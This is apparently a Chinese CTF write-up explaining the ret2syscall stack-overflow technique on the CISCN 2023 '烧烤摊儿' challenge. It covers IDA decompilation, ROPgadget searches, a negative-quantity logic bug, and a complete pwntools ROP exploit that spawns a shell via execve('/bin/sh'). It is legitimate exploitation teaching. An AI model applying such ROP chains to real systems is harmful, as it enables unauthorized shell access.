栈溢出(ret2syscall)
ret2syscall
32位和64位进行系统调用时的区别
- 32位程序的函数调用用栈传参,使用
int 0x80
中断来进行系统调用 - 64位程序的函数调用前6个参数用寄存器传参,剩下的参数通过栈传参,使用
syscall
指令进行系统调用
Linux下64位的系统调用表格:参见博客
控制寄存器的值
ret2syscall
就是控制寄存器的值,以执行我们想要执行的系统调用函数,如使用
execve("/bin/sh",NULL,NULL)
来获得
shell,根据表格,在64位的情况下我们就要使得rax寄存器的值为
59(execve的系统调用号),rdi寄存器的值为字符串"/bin/sh"的首地址,rsi 和
rdx寄存器的值为 0
如何控制寄存器的值?
我们可以使用 ROPgadget
这个工具,如下:
1 | (pip_venv) ubuntu:~/ctf/nss/pwn/烧烤摊儿$ ROPgadget --binary ./shaokao --only "pop|ret" | grep -E "rax|rdi|rsi|rdx" |
在有栈溢出的地方,控制返回地址为如上 pop rsi
的地址,然后再写入想要赋给 rsi 的值,执行到 pop
指令时就会将当前 rsp 指向的值赋给 rsi,之后ret,我们可以再写
pop rdi
的地址,这样 pop rip (即ret指令)
就会将 pop rdi
这个地址赋给 rip
进而再跳转到我们想执行的地方,以此类推,只要有ret,我们就可以一直控制程序流执行我们想执行的地方
例题
以 [CISCN 2023 初赛]烧烤摊儿 为例
在 IDA 中查看主函数如下: 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34int __fastcall main(int argc, const char **argv, const char **envp)
{
int v3; // edx
int v4; // ecx
int v5; // r8d
int v6; // r9d
welcome(argc, argv, envp);
while ( 1 )
{
switch ( (unsigned int)menu() )
{
case 1u:
pijiu();
break;
case 2u:
chuan();
break;
case 3u:
yue();
break;
case 4u:
vip();
break;
case 5u:
if ( own )
gaiming();
break;
default:
printf((unsigned int)&unk_4B7008, (_DWORD)argv, v3, v4, v5, v6);
exit(0LL);
}
}
}
scanf的安全性问题:
%d
的安全性:相对安全,因为只会读取固定大小的整数,输入非数字时可能导致读取失败,但不会发生缓冲区溢出
%s 的安全性:存在缓冲区溢出风险,没有长度限制,可能超出数组边界,但使用
%9s 这样的格式可以限制读取长度
在其他函数(pijiu()
等)中,我们只看到了%d
的整数读入,只在
gaiming
中看到了 %s
式的读入,因此
gaiming
函数存在栈溢出,那么我们首先要做的第一步就是执行到
gaiming
这个函数(从代码中看到 own
变量的值需要为 1)
在 vip()
函数中:
1 | __int64 vip() |
Tips:若在 IDA中中文字符串无法正常显示,可尝试:点击IDA菜单
Options
->General…
->strings
将default 8-bit
改为UTF-8
因此我们需要让 money
的值大于
100000,我们运行程序可以看到初始钱包的余额只有233 1
2
3
4
5
6
7
8
9(pip_venv) ubuntu:~/ctf/nss/pwn/烧烤摊儿$ ./shaokao
欢迎来到大金烧烤摊儿,来点啥?
1. 啤酒
2. 烤串
3. 钱包余额
4. 承包摊位
0. 离开
> 3
你瞅了一眼钱包,里边还有233块钱
吗?
来看一下具体函数:
1 | __int64 pijiu() |
在 10 * v9 >= money
和 money += -10 * v9
这里都没有判断 v9
的值是正是负,因此只要我们输入负的数量的啤酒,就可以使得
money
无限多,进而买下烧烤摊执行改名函数
通过 ROPgadget 发现有syscall指令但是没有 "/bin/sh" 这个字符串
1
2
3
4
5
6
7
8
9(pip_venv) ubuntu:~/ctf/nss/pwn/烧烤摊儿$ ROPgadget --binary ./shaokao --only "syscall"
Gadgets information
============================================================
0x0000000000402404 : syscall
Unique gadgets found: 1
(pip_venv) ubuntu:~/ctf/nss/pwn/烧烤摊儿$ ROPgadget --binary ./shaokao --string "/bin/sh"
Strings information
============================================================
因此我们需要自己写入"/bin/sh"这个字符串,改名函数如下:
1 | __int64 gaiming() |
因此我们直接把 "/bin/sh" 写在 v5
的开头,然后拿
v5
的首地址作为 execve
中字符串的首地址即可,注意字符串要以 \0
结尾
从 [rsp+0h] [rbp-20h] BYREF
我们可以知道向
v5
写入 20h +
8(旧的rbp)个字节后就到了存放返回地址的地方,但是字符串 "/bin/sh\0"
刚好占了 8个字节,所以我们只需要填充 20h个字节,exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25from pwn import *
# context.log_level = 'debug'
# context.terminal = ['tmux', 'splitw', '-h']
# sh = process('./shaokao')
# gdb.attach(sh, "b main")
context.arch = 'amd64'
sh = remote('node4.anna.nssctf.cn', 28758)
sh.sendline(b'1')
sh.sendline(b'1')
sh.sendline(b'-1000000')
sh.sendline(b'4')
sh.sendline(b'5')
pop_rax_ret = 0x458827
pop_rdi_ret = 0x40264f
pop_rsi_ret = 0x40a67e
pop_rdx_rbx_ret = 0x4a404b
binsh = 0x4E60F0
syscall = 0x402404
payload = flat(
['/bin/sh\0', '\x00' * 0x20, pop_rax_ret, 0x3b, pop_rdi_ret, binsh, pop_rsi_ret, 0, pop_rdx_rbx_ret, 0, 0, syscall]
)
sh.sendline(payload)
sh.interactive()
Tips:context.arch 会影响数据的打包方式和字节序,决定了内存对齐和字长的处理方式,影响常量和地址的解析方式,flat( ) 可以自动处理架构相关的打包细节
结果如下: